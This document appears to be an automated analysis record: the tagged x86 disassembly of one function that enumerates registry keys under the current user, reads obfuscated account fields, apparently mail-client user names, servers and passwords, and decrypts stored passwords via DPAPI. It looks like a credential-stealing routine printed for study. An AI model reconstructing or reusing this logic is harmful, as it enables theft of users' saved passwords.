Function at 0x40c4b7
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xd6c
mov eax, dword [esp + 0xd80]
lea ebx, [esp + 0x38]
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp], 0x80000001
mov dword [esp + 0x10], ebx
mov dword [esp + 0x40], 0
mov dword [esp + 4], eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x4c], 0x400
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x40c9f6
mov dword [esp + 0x24], 0
xor edi, edi
lea eax, [esp + 0x4c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 0x560]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
sub esp, 0x20
cmp eax, 0x103
je 0x40cf0f
lea eax, [esp + 0x560]
lea ebx, [esp + 0x960]
mov dword [esp + 8], 0x4233dd
mov dword [esp + 4], 0x400
inc dword [esp + 0x24]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xd80]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call fcn.004127a8
lea eax, [esp + 0x3c]
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x80000001
mov dword [esp + 0x10], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x40c9e9
mov dword [esp], str.jlC4i
lea ebx, [esp + 0x48]
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x160]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c9dc
mov dword [esp], str.9T9N_u6d0
lea ebp, [esp + 0x60]
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c6c1
mov dword [esp], str.9T9N_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.9T9N_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40c940
mov dword [esp], str.XFD9_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c761
mov dword [esp], str.XFD9_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.XFD9_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 2
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40c940
mov dword [esp], str._qq9_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c801
mov dword [esp], str._qq9_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str._qq9_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 3
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40c940
mov dword [esp], str.MFq9_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c8a1
mov dword [esp], str.MFq9_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.MFq9_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 4
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40c940
mov dword [esp], str.jDM_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c9dc
mov dword [esp], str.jDM_Md02d0_urm
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.jDM_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 5
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40c952
cmp byte [esp + 0x360], 2
je 0x40cf2b
lea ecx, [esp + 0x360]
lea edx, [esp + 0x160]
lea eax, [esp + 0x260]
lea esi, [esp + 0x40]
mov dword [esp + 0x18], ebp
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_S_a_S_a_S_a_S_b_b_b_b
mov dword [esp], esi
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], edx
call fcn.00412755
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
je 0x40cfb7
mov dword [esp + 0xc], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], edi
mov dword [esp + 0x10], 1
mov dword [esp + 8], esi
mov dword [esp], eax
call fcn.00412abf
add edi, dword [esp + 0x20]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push ebx
mov dword [esp + 0x4c], 0x400
jmp 0x40c51d
mov eax, dword [esp + 0xd80]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x201
mov dword [esp + 8], 0
mov dword [esp], 0x80000001
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x40cf1c
mov dword [esp + 0x24], 0
xor edi, edi
lea eax, [esp + 0x4c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 0x560]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
sub esp, 0x20
cmp eax, 0x103
je 0x40cf0f
lea eax, [esp + 0x560]
lea ebx, [esp + 0x960]
mov dword [esp + 8], 0x4233dd
mov dword [esp + 4], 0x400
inc dword [esp + 0x24]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xd80]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call fcn.004127a8
lea eax, [esp + 0x3c]
mov dword [esp + 0xc], 0xf023f
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x80000001
mov dword [esp + 0x10], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x40cf02
mov dword [esp], str.jlC4i
lea ebx, [esp + 0x48]
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x160]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40cef5
mov dword [esp], str.9T9N_u6d0
lea ebp, [esp + 0x60]
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40cbda
mov dword [esp], str.9T9N_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.9T9N_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40ce59
mov dword [esp], str.XFD9_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40cc7a
mov dword [esp], str.XFD9_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.XFD9_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 2
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40ce59
mov dword [esp], str._qq9_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40cd1a
mov dword [esp], str._qq9_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str._qq9_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 3
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40ce59
mov dword [esp], str.MFq9_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40cdba
mov dword [esp], str.MFq9_Md02d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.MFq9_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 4
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
jmp 0x40ce59
mov dword [esp], str.jDM_u6d0
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], ebp
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40cef5
mov dword [esp], str.jDM_Md02d0_urm
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x260]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x100
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
mov dword [esp], str.jDM_9C66gW0S
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x360]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x200
mov ebx, 5
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.0040c46e
test al, al
je 0x40ce6b
cmp byte [esp + 0x360], 2
je 0x40d020
lea ecx, [esp + 0x360]
lea edx, [esp + 0x160]
lea eax, [esp + 0x260]
lea esi, [esp + 0x40]
mov dword [esp + 0x18], ebp
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_S_a_S_a_S_a_S_b_b_b_b
mov dword [esp], esi
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], edx
call fcn.00412755
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
je 0x40d0ac
mov dword [esp + 0xc], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], edi
mov dword [esp + 0x10], 1
mov dword [esp + 8], esi
mov dword [esp], eax
call fcn.00412abf
add edi, dword [esp + 0x20]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push edx
mov dword [esp + 0x4c], 0x400
jmp 0x40ca36
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push eax
mov eax, dword [esp + 0x44]
add esp, 0xd6c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x48]
mov dword [esp + 0x14], 1
lea esi, [esp + 0x360]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
dec eax
mov dword [esp + 0x50], eax
lea eax, [esp + 0x361]
mov dword [esp + 0x54], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x50]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x40c952
mov eax, dword [esp + 0x58]
mov dword [esp], esi
mov dword [esp + 8], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
call fcn.00412aa3
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
push esi
jmp 0x40c952
lea eax, [esp + 0x260]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_s_a_s_a_s_a_S_b_b_b_b
mov dword [esp], esi
call fcn.00412755
cmp eax, 0xffffffff
mov ebx, eax
je 0x40c9dc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], edi
mov dword [esp + 0x10], 1
mov dword [esp + 8], esi
add edi, ebx
mov dword [esp], eax
call fcn.00412abf
mov dword [esp + 0x44], eax
jmp 0x40c9dc
mov eax, dword [esp + 0x48]
mov dword [esp + 0x14], 1
lea esi, [esp + 0x360]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
dec eax
mov dword [esp + 0x50], eax
lea eax, [esp + 0x361]
mov dword [esp + 0x54], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x50]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x40ce6b
mov eax, dword [esp + 0x58]
mov dword [esp], esi
mov dword [esp + 8], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
call fcn.00412aa3
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
push ecx
jmp 0x40ce6b
lea eax, [esp + 0x260]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_s_a_s_a_s_a_S_b_b_b_b
mov dword [esp], esi
call fcn.00412755
cmp eax, 0xffffffff
mov ebx, eax
je 0x40cef5
mov dword [esp + 0xc], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], edi
mov dword [esp + 0x10], 1
mov dword [esp + 8], esi
add edi, ebx
mov dword [esp], eax
call fcn.00412abf
mov dword [esp + 0x44], eax
jmp 0x40cef5